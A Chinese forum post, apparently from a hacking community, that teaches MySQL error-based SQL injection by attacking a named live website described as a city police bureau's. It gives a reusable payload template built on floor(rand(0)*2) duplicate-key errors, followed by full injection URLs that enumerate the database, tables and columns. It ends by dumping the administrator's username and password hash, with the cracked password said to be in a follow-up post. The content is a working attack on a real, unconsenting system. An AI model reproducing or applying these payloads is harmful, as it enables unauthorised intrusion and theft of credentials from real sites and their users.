Silic技术论坛上的关于注入的文章已经很全面了,但是却并没有几篇关于MySQL错误回显注入的文章。
唯一的一篇还是POST注入,相信大部分人是看不懂。原文在这里:
看不懂没关系,我今天拿刚刚开放的zone-h.com.cn做一下演示。用这个站没有特别的含义,这个站前阵子关闭了,今天重新开放一看是XX市公安局。
职业习惯加了个单引号。。。
注意:阅读本文前请注意,php+MySQL注入,发生错误回显的有两种,一种是MySQL错误回显,即php提示MySQL语句哪里出错了,也就是能够
用本文方法利用的注入,另外一种是php错误回显,php显示哪个文件的哪一行出错了,这种情况不在本文的讨论范畴之内。
作者:YoCo Smart
先看注入点:
http://zone-h.com.cn/detail.php?ID=55+and+1=1
复制代码
有人用工具目测字段数为12,但是我们看地址:
http://zone-h.com.cn/detail.php?ID=55+union+select+1,2,3,4,5,6,7,8,9,10,11
字段11:“SQL语句错误: The used SELECT statements have a different number of columns”
http://zone-h.com.cn/detail.php?ID=55+union+select+1,2,3,4,5,6,7,8,9,10,11,12
字段12:
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near 'union select 1,2,3,4,5,6,7,8,9,10,11,12' at line 1
复制代码
字段是12不假,但是无显示位回显。
既然这样,那就用MySQL的报错回显来注入爆数据。
MySQL报错回显爆数据,其实主要就是套公式,公式分为4部分
1,逻辑错误部分,也就是将GET变量取值变为逻辑错误值,例如.php?id=0或者.php?id=12+and+1=2
2,固定SQL联合查询语句,语句为:
union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a)b
3,注释语句,将整个语句后面的部分注释掉,可以用"/*"注释符,也可以用"--"终止符,也可以用%23这个"#"字符
4,注入爆数据语句,基本格式就是select XX from YY的格式。
这4个固定公式唯一要注意的是最后一个,最后一个每次只能爆单条数据,不能updata不能select into不能insert不能load_file()不能group_concat(),有的concat()也不能用
这样爆数据的话,就要加一个limit x,y的限制条件
也就是select XX from YY limit a,b
a是从第几条开始,从0开始为以一条,b为目标一共几条数据,这里固定为1,也就是说limit 0,1是第1条数据,limit 1,1是第2条数据,一次类推。
上面的逻辑你搞不清楚不要紧,你可以先看注入语句再回头研究每个语句的含义
MySQL显示当前数据库名,登陆用户,数据库版本和数据路径的语句是:
select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)
复制代码
将上面的SQL语句作为语句4带入供述就得到注入语句:
http://zone-h.com.cn/detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+information_schema.tables+group+by+a)b
复制代码
我们访问一下就得到了:
SQL语句错误: Duplicate entry '1:mc110_mc110:mc110@localhost:5.1.34:/usr/local/mysql/var/' for key 'group_key'
Duplicate entry后面的引号中的就是数据,固定去掉数字“1”
mc110_mc110是数据库名
mc110@localhost是数据库用户
5.1.34是版本
/usr/local/mysql/var/这里是MySQL的数据路径
然后我们继续看
MySQL显示当前所有数据库的语句为:
select table_name from information_schema.tables where table_schema = database() limit 0,1
或者
select table_name from information_schema.columns where table_schema = database() limit 0,1
将这句SQL语句作为上面公式中的4,就得到注入语句:
http://zone-h.com.cn/detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+information_schema.tables+group+by+a)b
复制代码
访问得到:SQL语句错误: Duplicate entry '15epe_admin' for key 'group_key'
其中5epe_admin就是数据表(注意,去掉固定数字:1)
根据上面语句,分别将limit 0,1改为limit 1,1 limit 2,1。。。。一直到提示“SQL语句错误: The used SELECT statements have a different number of columns”的时候
数据就爆完了
数据库的表一共有这些5epe_admin,5epe_log,5epe_title,bbs,category,hkd_adtxt,link,news
表示第一个表一定是管理员表
然后是MySQL表字段的语句
select column_name from information_schema.columns where table_name = '5epe_admin' limit 0,1
将table_name = '5epe_admin'改为hex数据格式:table_name=0x356570655f61646d696e
带入语句带公式:
http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x356570655f61646d696e+limit+0,1))a+from+information_schema.tables+group+by+a)b
得到5epe_admin表段中第1个字段名为Id
http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x356570655f61646d696e+limit+1,1))a+from+information_schema.tables+group+by+a)b
修改limit值得到5epe_admin表段中第2个字段为adminname
http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x356570655f61646d696e+limit+2,1))a+from+information_schema.tables+group+by+a)b
修改limit值得到5epe_admin表段中第3个字段为adminname
复制代码
到第四个就没有数据了,那么这样就得到:
5epe_admin这个表的结构为:
Id,adminname,adminpass
下面爆这个管理员数据,SQL语句为:
select concat(0x3a,Id,0x3a,adminname,0x3a,adminpass) from 5epe_admin
复制代码
带入公式:
http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,adminname,0x3a,adminpass)+from+5epe_admin+limit+0,1))a+from+information_schema.tables+group+by+a)b
复制代码
访问后得到数据:
admin:8e02a1062c785a4b13eca9bb78e21783
解密后的密码见2楼
这样一来,一次MySQL错误回显注入的过程就完成了。
小记:zone-h.com.cn这是准备卖了还是准备当破鞋了?